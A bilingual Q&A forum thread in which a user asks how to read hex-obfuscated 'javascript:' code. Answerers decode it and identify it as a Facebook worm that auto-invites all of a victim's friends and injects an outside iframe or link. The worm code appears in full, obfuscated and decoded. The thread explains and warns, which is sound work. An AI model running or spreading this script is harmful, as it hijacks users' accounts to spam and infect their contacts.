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判断JavaScript是否被编译

发布于 2024-08-28 13:16:12 字数 3560 浏览 8 评论 0 原文

如果 JavaScript 代码这样开头：

javascript:var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73"...

那么，它是否已编译？如果有的话有什么办法反编译吗？如果没有编译，那么，如何读取此类代码呢？

我如何使其更具可读性？

var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
             "\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64",
             "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
             "\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e",
             "\x73\x75\x67\x67\x65\x73\x74",
             "\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73",
             "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74",
             "\x63\x6C\x69\x63\x6B",
             "\x69\x6E\x69\x74\x45\x76\x65\x6E\x74",
             "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74",
             "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
             "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
             "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
             "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
void ( document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]=_0x89f8[3] );
var ss=document[_0x89f8[2]](_0x89f8[4]);
var c=document[_0x89f8[6]](_0x89f8[5]);
c[_0x89f8[8]](_0x89f8[7],true,true);
void (ss[_0x89f8[9]](c));
void (setTimeout(function (){fs[_0x89f8[10]]();} ,3000));
void (setTimeout(function (){SocialGraphManager[_0x89f8[13]](_0x89f8[11],_0x89f8[12]);} ,4000));
void (setTimeout(function(){document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]= '\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x62\x69\x74\x2e\x6c\x79\x2f\x38\x5a\x72\x72\x46\x4f\x22\x3e\x4f\x6e\x65\x20\x43\x6c\x69\x63\x6b\x20\x46\x65\x72\x74\x69\x6c\x69\x7a\x65\x3c\x2f\x61\x3e';} ,4500));
原文

If a JavaScript code starts like this:

javascript:var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73"...

Then, is it compiled? If so, any way of decompiling it? If it is not compiled, then, how do I read this type of code?

How do I make this more readible?

var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
             "\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64",
             "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
             "\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e",
             "\x73\x75\x67\x67\x65\x73\x74",
             "\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73",
             "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74",
             "\x63\x6C\x69\x63\x6B",
             "\x69\x6E\x69\x74\x45\x76\x65\x6E\x74",
             "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74",
             "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
             "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
             "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
             "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
void ( document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]=_0x89f8[3] );
var ss=document[_0x89f8[2]](_0x89f8[4]);
var c=document[_0x89f8[6]](_0x89f8[5]);
c[_0x89f8[8]](_0x89f8[7],true,true);
void (ss[_0x89f8[9]](c));
void (setTimeout(function (){fs[_0x89f8[10]]();} ,3000));
void (setTimeout(function (){SocialGraphManager[_0x89f8[13]](_0x89f8[11],_0x89f8[12]);} ,4000));
void (setTimeout(function(){document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]= '\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x62\x69\x74\x2e\x6c\x79\x2f\x38\x5a\x72\x72\x46\x4f\x22\x3e\x4f\x6e\x65\x20\x43\x6c\x69\x63\x6b\x20\x46\x65\x72\x74\x69\x6c\x69\x7a\x65\x3c\x2f\x61\x3e';} ,4500));

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评论（7）

旧人哭 2024-09-04 13:16:12

它只是被混淆了。 _0x89f8 是一个普通变量，"\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C" 是一个普通字符串（除了所有写入的字符十六进制：\x69 是 i 等等；它表示 "innerHTML"）。

It's merely obfuscated. _0x89f8 is a normal variable, "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C" is a normal string (except with all characters written in hexadecimal: \x69 is i and so on; it says "innerHTML").

回复 原文
百善笑为先 2024-09-04 13:16:12

这看起来像是混淆的 JavaScript——无论是谁提出来的，都不希望它被轻易阅读。如果没有有意义的变量名，就会很难理解（即_0x89f8是什么意思？）。

字符串参数是转义字符串：\x69 是字符 i 等的十六进制。

将以下内容复制粘贴到您的 浏览器控制台（开发工具）（按 F12）查看其外观：

"\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C"

被调用的函数很可能会从参数，然后调用 eval 对他们来说。

This looks like obfuscated JavaScript — whoever put it up doesn’t want it to be easily read. Without meaningful variable names, it will be difficult to understand (i.e. what does _0x89f8 mean?).

The string parameters are escaped strings: \x69 is the hex for the character i etc.

Copy-paste the following to your browser console (dev tools) (hit F12) to see how it looks:

"\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C"

Chances are that the function being called builds up a JavaScript string from the parameters and then calls eval on them.

回复 原文
山色无中 2024-09-04 13:16:12

你会在 Facebook 上找到很多这样的内容。
不过，他们通常不会这么困惑，通常会处理朋友邀请或类似的事情。
我几乎从来没有在地址行中执行过 javascript，所以我从来没有进一步检查过其中的任何一个。

这意味着我不知道这是否是恶意的...

您可以使用这个 http://jsbeautifier.org/自动神奇地取消混淆代码的工具（好吧，至少部分地）...

var _0x4249=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x30\x30\x37\x31\x39\x36\x37\x36\x36\x33\x38\x35\x33\x35\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x62\x69\x74\x2E\x6C\x79\x2F\x62\x31\x69\x37\x35\x35\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x36\x30\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x35\x30\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E"];var variables=[_0x4249[0],_0x4249[1],_0x4249[2],_0x4249[3],_0x4249[4],_0x4249[5],_0x4249[6],_0x4249[7],_0x4249[8],_0x4249[9],_0x4249[10],_0x4249[11],_0x4249[12],_0x4249[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0x4249[14]);

变成...

var variables = ['innerHTML', 'app4949752878_body', 'getElementById', '<a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&node_id=329722447896" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>', 'suggest', 'MouseEvents', 'createEvent', 'click', 'initEvent', 'dispatchEvent', 'select_all', 'sgm_invite_form', '/ajax/social_graph/invite_dialog.php', 'submitDialog'];
void(document[variables[2]](variables[1])[variables[0]] = variables[3]);
var ss = document[variables[2]](variables[4]);
var c = document[variables[6]](variables[5]);
c[variables[8]](variables[7], true, true);
void ss[variables[9]](c);
void setTimeout(function () {
    fs[variables[10]]();
}, 4000);
void setTimeout(function () {
    SocialGraphManager[variables[13]](variables[11], variables[12]);
}, 5000);
void(document[variables[2]](variables[1])[variables[0]] = '<iframe src="http://sslhoster.com/pages/newps3" style="width: 798px; height: 550px;" frameborder=0 scrolling="no"></iframe>');

使用默认设置...

特别是对于这个，尽管我必须访问 FB 页面才能获取所有 javascript (我正在进一步挖掘）...

值得庆幸的是，妻子总是在地址行中执行 javascript 之前询问（她今天晚上才发现 javascript）。

克里斯

You'll find these on Facebook a LOT.
They're usually not this obfuscated though, and normally deal with friend invitations or something along those lines.
I hardly ever execute javascript in the address line so I never checked further into any of these.

This means I have no idea if this is malicious...

You can use this http://jsbeautifier.org/ tool to unobfuscate the code auto magically (well, at least partially)...

var _0x4249=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x30\x30\x37\x31\x39\x36\x37\x36\x36\x33\x38\x35\x33\x35\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x62\x69\x74\x2E\x6C\x79\x2F\x62\x31\x69\x37\x35\x35\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x36\x30\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x35\x30\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E"];var variables=[_0x4249[0],_0x4249[1],_0x4249[2],_0x4249[3],_0x4249[4],_0x4249[5],_0x4249[6],_0x4249[7],_0x4249[8],_0x4249[9],_0x4249[10],_0x4249[11],_0x4249[12],_0x4249[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0x4249[14]);

becomes.... 

var variables = ['innerHTML', 'app4949752878_body', 'getElementById', '<a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&node_id=329722447896" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>', 'suggest', 'MouseEvents', 'createEvent', 'click', 'initEvent', 'dispatchEvent', 'select_all', 'sgm_invite_form', '/ajax/social_graph/invite_dialog.php', 'submitDialog'];
void(document[variables[2]](variables[1])[variables[0]] = variables[3]);
var ss = document[variables[2]](variables[4]);
var c = document[variables[6]](variables[5]);
c[variables[8]](variables[7], true, true);
void ss[variables[9]](c);
void setTimeout(function () {
    fs[variables[10]]();
}, 4000);
void setTimeout(function () {
    SocialGraphManager[variables[13]](variables[11], variables[12]);
}, 5000);
void(document[variables[2]](variables[1])[variables[0]] = '<iframe src="http://sslhoster.com/pages/newps3" style="width: 798px; height: 550px;" frameborder=0 scrolling="no"></iframe>');

using default settings...

For this one in particular though I had to have access to the FB page to get ALL of the javascript (I'm digging further)...

Thankfully the Wife always asks before executing javascript in the address line (she found the javascript just this evening).

Kris

回复 原文
断舍离 2024-09-04 13:16:12

不，这个 javascript 未编译，您看到的“奇怪”文本是编码文本。例如
\x69 等于字母 i

这是普通字母和其他字符（@、/ 等）的不同表示法。例如，用于使文本难以阅读，或者在字符串中使用奇怪/不寻常的字符时。

函数 escape() 将从 i 转到 \x69 。函数 unescape() 将从 \x69 回到字母 i 。

上面的代码示例只是一个编码字符串数组。

No this javascript is not compiled, the "strange" text you see is encoded text. For example
\x69 equals the letter i

It's a differant notation for normal letters and other characters (@,/ etc). And used to make text harder to read, or when using strange/unusual characters in strings for example.

The function escape() will go from i to \x69 .As where the function unescape() will go from \x69 back to the letter i.

The above code example is just an array of encoded strings.

回复 原文
橘和柠 2024-09-04 13:16:12

这是一段经过混淆的 JS 代码。

如果某个东西是 JS 源代码，那么它永远不会被编译，即使它看起来不可读。

有许多 JS 代码混淆器或最小化器存在。

你能确定是哪个程序生成的吗？

It is an obfuscated JS code.

If something is a JS source code, it is never compiled, even if it looks unreadable.

There are many JS code obfuscators or minimizers exist.

Can you identify which program generated it?

回复 原文
傲性难收 2024-09-04 13:16:12

该代码似乎是 Facebook 蠕虫病毒的一部分。

This code appears to be part of a facebook worm.

回复 原文
一瞬间的火花 2024-09-04 13:16:12

好吧，我不得不承认，我很好奇，所以我打开了一个新的 Facebook 个人资料来了解这个东西的作用...

阅读未混淆的代码后，您可以确定该脚本将自动打开您的朋友列表，并建议只是将此 Facebook 页面发送给您所有的朋友（当然，数量是允许的）。因此，（在不知不觉中）向您所有的朋友发送邀请，其中一些无疑会继续...

简单地说，在不知道是谁首先发布的情况下，不要复制任何 JavaScript 行。 :)

Well, I have to admit, I was curious enough that I opened a new facebook profile to find out what this thing does...

after reading the un-obfuscated code you can determine that this script will automatically open your Friend's list, and suggest just this Facebook page to all your friends (the amount allowed, of course). Therefor sending out invitations (unknowingly) to all of your friends, which some will undoubtedly continue...

Simply put, don't copy any JavaScript lines without knowing who posted them in the first place. :)

回复 原文
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